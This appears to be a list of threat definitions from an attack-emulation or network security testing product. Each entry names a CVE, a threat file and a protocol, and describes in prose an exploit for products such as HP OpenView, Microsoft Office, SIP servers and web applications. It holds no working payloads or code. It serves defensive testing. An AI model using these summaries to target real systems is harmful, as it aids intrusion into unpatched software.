CVEID:	CVE-2005-3591
OSVDB:	20867
Threat Package:	Standard
Threat File Name:	FSC20040525-01_Norton_AntiVirus_2004_ActiveX_DoS.xml
Executive Description:	Norton Anti-Virus 2004 ActiveX DoS
Detailed Description:	There is a denial of service condition within an ActiveX object that is included within Norton Anti-virus 2004. An attacker can create a page that instantiates the vulnerable ActiveX object and then creates a denial of service condition on the victim computer. It has also been reported that arbitrary code can be executed on the remote client if the path of the executable is already known.
Protocol Type:	HTTP
CVEID:	CVE-2004-0487
Threat Package:	Standard
Threat File Name:	TSL20130725-10_HP_LoadRunner_lrFileIOService_ActiveX_Control_Input_Validation_Error.xml
Executive Description:	HP LoadRunner lrFileIOService ActiveX Control Input Validation Error
Detailed Description:	An input validation error exists in HP LoadRunner. The vulnerability is due to insufficient input validation of the WriteFileBinary() function parameters in the lrFileIOService ActiveX Control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2013-2370
OSVDB:	95640
Threat File Name:	ultimatehelpdesk_xss_IPv6.xml
Executive Description:	Ultimate HelpDesk Index.ASP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains a malicious script which is then executed by the server. Ultimate HelpDesk is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20091209-07_HP_OpenView_Network_Node_Manager_nnmRptConfig.exe_Template_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager nnmRptConfig.exe Template Buffer Overflow
Detailed Description:	A stack buffer overflow exists in the HP OpenView Network Node Manager (NNM) CGI program nnmRptConfig.exe. The vulnerability is due to a boundary error when processing the Template variable sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the Internet Guest Account user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3848
Threat Package:	Standard
Threat File Name:	FSC20110131-08_HP_OpenView_Performance_Insight_Server_Backdoor_Account_Code_Execution.xml
Executive Description:	HP OpenView Performance Insight Server Backdoor Account Code Execution
Detailed Description:	A code execution vulnerability exists in HP OpenView Performance Insight server. The vulnerability is due to the existence of a back door (a hidden account) within the com.trinagy.security.XMLUserManager Java class. Through this account an attacker can access the com.trinagy.servlet.HelpManagerServlet class defined within the piweb.jar file of the vulnerable product and use the doPost() method to upload malicious files to the server.Remote unauthenticated attackers can exploit this vulnerability by uploading malicious files to the server and execute arbitrary code with the privileges of the SYSTEM user via those files.
Protocol Type:	HTTP
Threat File Name:	sippiggybacksip_IPv6.xml
Executive Description:	SIPPING: Piggybacked SIP Message (IPv6 Version)
Detailed Description:	This threat sends out a SIP REGISTER message with a content length of 0, immediately followed by a SIP INVITE message. This is legal, and the INVITE message should be ignored. Implementations may get confused by an additional legal message where data should be ignored, and may behave unpredictably. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	3com_dir_traversal_IPv6.xml
Executive Description:	3Com Network Supervisor Directory Traversal Attack (IPv6 Version)
Detailed Description:	This threat attempts to download the Windows SAM password file through a directory traversal bug in 3Com's Network Supervisor. Network Supervisor is a web management console that listens on port 21700. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-2020
OSVDB:	19152
Threat Package:	Standard
Threat File Name:	FSC20060502-06_MySQL_Login_Handshake_Information_Disclosure_IPv6.xml

Executive Description:	MySQL Login Handshake Information Disclosure (IPv6 Version)
Detailed Description:	There exists an information disclosure vulnerability in MySQL database. The vulnerability is due to a flaw in the server component responsible for the login handshake procedure and allows an attacker with anonymous access to the database to read sensitive data stored in the memory of the server. The attacker then may use the acquired information to compromise the server or to facilitate other attack attempts. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
Threat Package:	Standard
Threat File Name:	sipinviterandomcontenttype_IPv6.xml
Executive Description:	SIP Random Content-Type INVITE (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with no content and a random string for Content-Type. Content of type application/sdp is usually expected, so this can confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20071105-21_Apple_QuickTime_Color_Table_Atom_Movie_File_Handling_Heap_Corruption_IPv6.xml
Executive Description:	Apple QuickTime Color Table Atom Movie File Handling Heap Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Apple QuickTime. The flaw is due to boundary errors when processing QuickTime Movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime Movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4677
Threat Package:	Standard
Threat File Name:	TSL20170209-07_Trend_Micro_Control_Manager_download.php_Information_Disclosure.xml
Executive Description:	Trend Micro Control Manager download.php Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Trend Micro Control Manager. The vulnerability is due to security misconfiguration which allows access to the unreferenced download.php file, which in turn allow reading of the arbitrary files. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could result in an arbitrary file read from the target server.
Protocol Type:	HTTPS
Threat File Name:	TSL20170110-04_Microsoft_Edge_document.domain_Same_Origin_Policy_Bypass.xml
Executive Description:	Microsoft Edge document.domain Same Origin Policy Bypass
Detailed Description:	A policy bypass vulnerability has been reported in Microsoft Edge. This vulnerability is due improper enforcement of cross-domain policies with pages that have an empty document.domain property. A remote attacker could exploit this vulnerability by enticing a user to visit a maliciously crafted web-page. Successful exploitation of this vulnerability would allow an attacker to bypass the same origin policy and disclose sensitive information.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2017-0002
Threat File Name:	FSC20071211-08_Microsoft_Windows_Media_Format_ASF_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Media Format ASF Parsing Code Execution (IPv6 Version)
Detailed Description:	Multiple buffer overflow vulnerabilities exist in Microsoft Windows Media Format processing engine. The vulnerability is caused due to a boundary error when processing Advanced Systems Format (ASF) files. A remote attacker can exploit this vulnerability by enticing the target user to open crafted ASF file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0064
Threat Package:	Standard
Threat File Name:	SNMPv3PIX_IPv6.xml
Executive Description:	Cisco PIX SNMPv3 Denial of Service (IPv6 Version)
Detailed Description:	This threat sends an SNMPv3 message to the target. This can cause a Cisco PIX firewall to crash. (IPv6 Version)
Protocol Type:	SNMPv3/IPv6
CVEID:	CVE-2003-1003
OSVDB:	3046
Threat Package:	Standard
Threat File Name:	ibm_director_dirtansversal_IPv6.xml
Executive Description:	IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a crafted url to leverage a vulnerability within the Redirect.bat file on a ibm director cgi which allows a directory transversal to take place which in turn exposes most files on the system to be read without authorization. IBM Director is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0513
Threat Package:	Standard
Threat File Name:	TSL20170302-07_Trend_Micro_SafeSync_for_Enterprise_deviceTool.pm_get_device_info_SQL_Injection_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise deviceTool.pm get_device_info SQL Injection (IPv6 Version)
Detailed Description:	An SQL Injection vulnerability exists in Trend Micro's SafeSync for Enterprise deviceTool.pm page. The vulnerability is due to insufficient validation of the user-supplied role or device_id parameter when sending a query to get the information about a SafeSync storage device. A remote, authenticated, attacker could exploit this vulnerability by sending an HTTP request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of safesync.
Protocol Type:	HTTPS, IPv6
Threat File Name:	FSC20100209-06_Microsoft_PowerPoint_OEPlaceholderAtom_placementId_Invalid_Array_Indexing.xml
Executive Description:	Microsoft PowerPoint OEPlaceholderAtom placementId Invalid Array Indexing

Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to the way that the vulnerable application handles specially crafted PowerPoint files. This vulnerability may be exploited by remote unauthenticated attackers by enticing a user to open a maliciously crafted file. In attack scenarios where code execution is successful the behaviour of the target machine is completely dependent on the intention of the injected code, which will run in the security context of the currently logged in user. In cases where code execution is not successful the affected product may terminate abnormally.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0031
Threat Package:	Standard
Threat File Name:	tikiwiki_pref_cmi.xml
Executive Description:	TikiWiki tiki-user_preferences.php Command Injection
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an invalid language name, this name is used directly to access the language include file which is unchecked and can be used to access arbitrary files, if that file contains PHP it will be also be executed. TikiWiki is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1925
OSVDB:	20923
Threat Package:	Standard
Threat File Name:	yourfreeworld_htmlinject_IPv6.xml
Executive Description:	YourFreeWorld Short Url
Detailed Description:	This threat sends a crafted url containing HTML and script code to be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. YourFreeWorld is a web based application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100810-09_Microsoft_Internet_Explorer_Uninitialized_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in handling of a uninitialized or deleted object. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2559
Threat Package:	Standard
Threat File Name:	thunderbird_filename_obfus_IPv6.xml
Executive Description:	Thunderbird Long Filename Obfuscation (IPv6 Version)
Detailed Description:	This threat sends an email with an attachment that obfuscates it's full filename, so that it appears to be a text file when in actual fact it is an executable file. This threat is delivered to an SMTP server, which typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-0236
OSVDB:	22510
Threat Package:	Standard
Threat File Name:	tcpdump_rsvp_IPv6.xml
Executive Description:	tcpdump RSVP DOS (IPv6 Version)
Detailed Description:	This threat causes tcpdump to enter into an infinite loop while parsing the RSVP protocol. This can be used by an attacker to evade sniffing attempts. (IPv6 Version)
Protocol Type:	RSVP/IPv6
CVEID:	CVE-2005-1280
OSVDB:	15904
Threat Package:	Standard
Threat File Name:	sipnoreason_IPv6.xml
Executive Description:	SIPPING: No Reason (IPv6 Version)
Detailed Description:	This threat sends out a SIP status message with code 100 (Trying) but no text description. This is legal but unexpected and may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	sipheadercseqdisagree_IPv6.xml
Executive Description:	SIP Header and CSeq Disagree (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with the CSeq method set to REGISTER. This may confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20140603-16_Rocket_Servergraph_Admin_Center_fileRequestor_del_Directory_Traversal.xml
Executive Description:	Rocket Servergraph Admin Center fileRequestor del Directory Traversal
Detailed Description:	A denial of service vulnerability exists in Rocket Servergraph, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. The vulnerability is due to a directory traversal when handling requests to the URI's fileRequestor.A remote unauthenticated attacker can exploit the vulnerability to delete files on the target server.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3914
OSVDB:	107677
Threat File Name:	TSL20140714-06_D-Link_HNAP_Request_Stack_Buffer_Overflow.xml

Executive Description:	D-Link HNPAP Request Stack Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in D-Link routers. The vulnerability is due to a stack buffer overflow while processing crafted HTTP POST requests addressed to the HNPAP handler. By sending a crafted HTTP request to the target device, a remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the affected device with root privileges.
Protocol Type:	HTTP
CVEID:	CVE-2014-3936
OSVDB:	107049
Threat File Name:	TSL20141216-05_Lexmark_MarkVision_Enterprise_GfdFileUploadServlet_Directory_Traversal_IPv6.xml
Executive Description:	Lexmark MarkVision Enterprise GfdFileUploadServlet Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in Lexmark MarkVision Enterprise. The vulnerability is due to an input validation issue when processing user supplied data used for writing files to the system by the GfdFileUploadServlet servlet. A remote unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation could lead to arbitrary code execution under the security context of SYSTEM.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-8741
OSVDB:	115622
Threat File Name:	http_neg_contentlen.xml
Executive Description:	HTTP server offers negative content length
Detailed Description:	This is a simple attack against an HTTP client by setting a negative content length. This server side threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090305-05_Nullsoft_Winamp_MAKI_Script_Processing_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp MAKI Script Processing Buffer Overflow
Detailed Description:	A vulnerability exists in the Skin file parsing component of Nullsoft Winamp. The vulnerability is caused by improper handling of MAKI scripts. A remote attacker can exploit this vulnerability by enticing the user to open a crafted skin file. Upon an unsuccessful attempt to inject and execute code via this vulnerability, the Winamp player may terminate. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target host is dependent on the intention of the malicious code. Any code injected into the vulnerable program would execute in the security context of the currently logged in user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sipnontokenchars.xml
Executive Description:	SIPPING: Non-Token Characters in Unquoted Name
Detailed Description:	This threat sends out a SIP OPTIONS message with the display name unquoted, and containing non-token characters. This is invalid, and because it is unexpected may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20070605-11_CA_Multiple_Product_AV_Engine_CAB_Header_Parsing_Stack_Overflow.xml
Executive Description:	CA Multiple Product AV Engine CAB Header Parsing Stack Overflow
Detailed Description:	There exists a stack-based buffer overflow vulnerability in multiple Computer Associates products. The vulnerability exists in the component that processes CAB files. A remote unauthenticated attacker can exploit the vulnerability causing a denial of service condition or the execution of arbitrary code on the target system through delivering a specially crafted CAB file to the target.
Protocol Type:	HTTP
CVEID:	CVE-2007-2864
Threat Package:	Standard
Threat File Name:	miniweb_post_rdos.xml
Executive Description:	MiniWeb Http POST Remote Denial of Service
Detailed Description:	This threat sends a http post with a negative Content-Length field causing MiniWeb servers to crash. Miniweb server is a http server that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3159
Threat Package:	Standard
Threat File Name:	TSL20151209-15_Schneider_Electric_ProClima_FlBookView_CopyRangeEx_Memory_Corruption_IPv6.xml
Executive Description:	Schneider Electric ProClima FlBookView CopyRangeEx Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the CopyRangeEx() method of the FlBookView ActiveX control, in which a user-supplied integer is interpreted as a memory address. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious Web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2015-8561
Threat File Name:	aroundme_rfi_IPv6.xml
Executive Description:	AROUNDMe 0.7.7 Multiple Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AROUNDMe is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	bl4_smtp_dos_IPv6.xml
Executive Description:	BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC (IPv6 Version)
Detailed Description:	This threat sends a crafted SMTP message with an excessively long MAIL FROM command; This causes the BL4 process to crash. BL4 is an SMTP server which typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Standard

Threat File Name:	TSL20150512-13_Microsoft_Office_File_Modification_Password_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Office File Modification Password Use After Free IPv6 version
Detailed Description:	A use-after-free vulnerability exists in Microsoft Office 2007. The vulnerability is due to problematic code that parses Office documents with modification password protection. A remote attacker could exploit this vulnerability by enticing a user to open a crafted Office document. Successful exploitation could result in arbitrary code execution with the privileges of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/SMTP/SMB/CIFS.IPv6
CVEID:	CVE-2015-1683
Threat File Name:	sipfivedigitdate.xml
Executive Description:	SIP Five Digit Date
Detailed Description:	This threat sends a SIP NOTIFY message with a Date: header specifying a date in the year 10000. Only dates with four digit years are legal, so this message may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	siplongheader.xml
Executive Description:	SIPPING: Long Values in Header Fields
Detailed Description:	This threat sends out a SIP message with many values that are extremely long. While this is valid, it may cause a SIP implementation to get confused or possibly even cause a buffer overflow.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170411-12_Microsoft_Edge_repeat_Sign_Extension_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Edge repeat Sign Extension Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Edge. This vulnerability is due to Chakra scripting engine not properly handling objects in memory. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0208
Threat File Name:	TSL20130514-33_Microsoft_Internet_Explorer_VML_Processing_Integer_Underflow.xml
Executive Description:	Microsoft Internet Explorer VML Processing Integer Underflow
Detailed Description:	An integer underflow vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling Vector Markup Language (VML) objects. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-255
OSVDB:	91197
Threat File Name:	SymantecFirewallTCPOptions.xml
Executive Description:	Symantec Firewall TCP Options Attack
Detailed Description:	This threat sets TCP options in a way that causes the Symantec firewall software to enter a infinite loop. This causes a denial of service on the machine since the code executing is within kernel space.
Protocol Type:	TCP
CVEID:	CVE-2004-0375
OSVDB:	5596
Threat Package:	Standard
Threat File Name:	nimda10_IPv6.xml
Executive Description:	Nimda Request URL 10 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	BGPTyp0_IPv6.xml
Executive Description:	BGP Invalid Type 0 (IPv6 Version)
Detailed Description:	This threat sends out an invalid BGP packet with a packet type of 0. This can cause tcpdump to crash, and may also possibly affect routers. BGP typically listens on port 179. (IPv6 Version)
Protocol Type:	BGP/IPv6
CVEID:	CVE-2002-1350
OSVDB:	9853
Threat Package:	Standard
Threat File Name:	TSL20121129-02_Sophos_Anti-Virus_RAR_VMSF_RGB_Filter_Parsing_Integer_Underflow.xml
Executive Description:	Sophos Anti-Virus RAR VMSF_RGB Filter Parsing Integer Underflow
Detailed Description:	An integer underflow vulnerability exists in Sophos Anti-Virus. The vulnerability is due to insufficient validation of one of the parameters of the VMSF_RGB filter while parsing RAR files. The vulnerable code calculates new values from this parameter resulting in a buffer overflow. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted RAR file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87061
Threat File Name:	icecastauth.xml
Executive Description:	IceCast XSL bypass
Detailed Description:	This threat is used to obtain user login info by taking advantage of a parser error in IceCast streaming server. This allows a user to listen to private webcasts.
Protocol Type:	HTTP
CVEID:	CVE-2005-0838
OSVDB:	14897

Threat Package:	Standard
Threat File Name:	FSC20070703-08_Microsoft_Excel_Sheet_Name_Memory_Corruption.xml
Executive Description:	Microsoft Excel Sheet Name Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to the way Microsoft Excel parses malicious XLS files containing a specially crafted sheet name. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted XLS file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3490
Threat Package:	Standard
Threat File Name:	elm_expires_IPv6.xml
Executive Description:	Elm Expires Header Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Elm text mail reader. This allows a remote attacker to run arbitrary commands on the target computer in the context of the user viewing the email. This threat is delivered using SMTP, which typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-2665
OSVDB:	18914
Threat Package:	Standard
Threat File Name:	igateway_bof_IPv6.xml
Executive Description:	iGateway Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a maliciously crafted HTTP GET query to the iGateway server. This vulnerability is exploitable while the server is in debug mode. The iGateway service is found on port 5250 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3190
OSVDB:	19920
Threat Package:	Standard
Threat File Name:	x86NOOPtcp_IPv6.xml
Executive Description:	TCP x86 NOOP packet (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130920-01_Adobe_Acrobat_Reader_ToolButton_Use_After_Free_IPv6.xml
Executive Description:	Adobe Acrobat Reader ToolButton Use After Free(IPv6 Version)
Detailed Description:	A use after free vulnerability exists in Adobe Acrobat and Reader. The vulnerability is due to an error in the handling of callback functions associated with ToolButton objects.</para><para>A remote attacker can exploit this vulnerability by enticing the user to open a specially crafted file. Successful exploitation could result in arbitrary code execution in the context of the currently affected user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS,IPV6
CVEID:	CVE-2013-3346
OSVDB:	96745
Threat File Name:	TSL20120629-03_Avaya_IP_Office_Customer_Call_Reporter_ImageUpload_ashx_Unrestricted_File_Upload_IPv6.xml
Executive Description:	Avaya IP Office Customer Call Reporter ImageUpload.ashx Unrestricted File Upload(IPv6 Version)
Detailed Description:	A vulnerability has been reported in Avaya's IP Office Customer Call Reporter. The vulnerability is due to the ImageUpload.ashx page failing to restrict the content uploaded to a server. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted web request by way of the ImageUpload.ashx resource. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the web server.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2012-3811
OSVDB:	83399
Threat File Name:	barracuda_disc.xml
Executive Description:	Barracuda Email Firewall File Disclosure
Detailed Description:	The Barracuda Email Firewall allows a user to download an arbitrary file off of the appliance. This allows the attacker to read configuration files pertinent to the appliance, including usernames and passwords. The Barracuda management system is web based on port 8000.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2848
Threat Package:	Standard
Threat File Name:	TSL20120124-05_Oracle_Outside_In_OOXML_Relationship_Tag_Parsing_Stack_Buffer_Overflow.xml
Executive Description:	Oracle Outside In OOXML Relationship Tag Parsing Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability has been reported in the Oracle Outside In OOXML component. The vulnerability is due to an input validation error in scocfut.dll while parsing Relationship tags in OOXML documents. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open an OOXML document with an affected application. This can cause a stack buffer overflow, resulting in arbitrary code execution in the context of the affected application. If code execution is unsuccessful, the affected application may terminate unexpectedly
Protocol Type:	HTTP,HTTPS,IMAP,POP3,NFS
Threat File Name:	santybl.xml
Executive Description:	Santy.B phpBB worm

Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090206-19_HP_OpenView_Network_Node_Manager_ovlaunch_HTTP_Request_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovlaunch HTTP Request Buffer Overflow
Detailed Description:	A vulnerability exists in HP OpenView Network Node Manager software. The vulnerability is due to a boundary error while processing specially crafted HTTP requests sent to the server. Remote attackers could exploit this vulnerability to inject and execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2008-4562
Threat Package:	Standard
Threat File Name:	CA_brightStor_a_bof_IPv6.xml
Executive Description:	Computer Associates BrightStor ARCserve Backup MediasVR.EXE 191 Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates the bufferoverflow vulnerability in the computer associates brightstor arcserve mediasvr.exe executable, this threat is delivered on the proprietary port 111. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-1785 CVE-2007-1785
Threat Package:	Standard
Threat File Name:	FSC20080812-29_Microsoft_Office_PICT_Filter_Map_Structure_Memory_Corruption.xml
Executive Description:	Microsoft Office PICT Filter Map Structure Memory Corruption
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PICT Filter. The vulnerability is due to an error in handling a PICT image file. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to open a specially crafted PICT file. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3021
Threat Package:	Standard
Threat File Name:	TSL20141003-06_FreePBX_Framework_Asterisk_Recording_Interface_unserialize_Code_Execution.xml
Executive Description:	FreePBX Framework Asterisk Recording Interface unserialize Code Execution
Detailed Description:	A code execution vulnerability exists in FreePBX. The vulnerability is due to an input validation issue in the index.php file of the recordings directory. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the page. Successful exploitation could lead to arbitrary code execution on the server under the security context of the web server.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-7235
OSVDB:	112437
Threat File Name:	gtchat_dos.xml
Executive Description:	GTChat Denial Of Service
Detailed Description:	This threat causes a denial of service by passing a malicious URL. This causes the GTChat program to crash after repeated attempts to send the request. GTChat is a web application, that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	originSpoof.xml
Executive Description:	Javascript Popup Fishing
Detailed Description:	This threat sends a portion of HTML that creates a popup window over a target web page, attempting to cause the user to send their login details to the wrong site. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2268
OSVDB:	17397
Threat Package:	Standard
Threat File Name:	FSC20080220-24_Symantec_VERITAS_Storage_Foundation_Administrator_Service_Buffer_Overflow.xml
Executive Description:	Symantec VERITAS Storage Foundation Administrator Service Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Symantec VERITAS Storage Foundation suite. The flaw is due to a boundary error when processing overly large messages. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host with System level privileges.
Protocol Type:	Proprietary
CVEID:	CVE-2008-0638
Threat Package:	Standard
Threat File Name:	TSL20150630-09_IBM_Tivoli_Storage_Manager_FastBack_Server_Opcode_1331_rmdir_Command_Injection_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Server Opcode 1331 rmdir Command Injection IPv6 version
Detailed Description:	A command injection vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient input validation of parameters in opcode 1331 requests. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary command execution within the security context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	IBM TSM FastBack Server.IPV6
Threat File Name:	acunetix_wvs_dos.xml

Executive Description:	Acunetix Web Vulnerability Scanner Remote Denial of Service Vulnerability
Detailed Description:	This threat sends a series of HTTP GET requests with an invalid "Content-Length" value. Acunetix Web Vulnerability Scanner is a web application that typically listens on port 80 or 8080.
Protocol Type:	HTTP
CVEID:	CVE-2007-0120
Threat Package:	Standard
Threat File Name:	fwl_dos.xml
Executive Description:	FW-1 Replay Denial Of Service
Detailed Description:	This threat causes a denial of service on a Checkpoint FW-1 firewall. It takes advantage of a flaw in the authentication mechanism. The FW-1 authentication system listens on port 256.
Protocol Type:	Proprietary
CVEID:	CVE-2000-0806
OSVDB:	4413
Threat Package:	Standard
Threat File Name:	pblang_rfi_IPv6.xml
Executive Description:	PBLang Lang_NL.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PBLang is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5062
OSVDB:	29156
Threat Package:	Standard
Threat File Name:	programchecker_activex_fillmethod_IPv6.xml
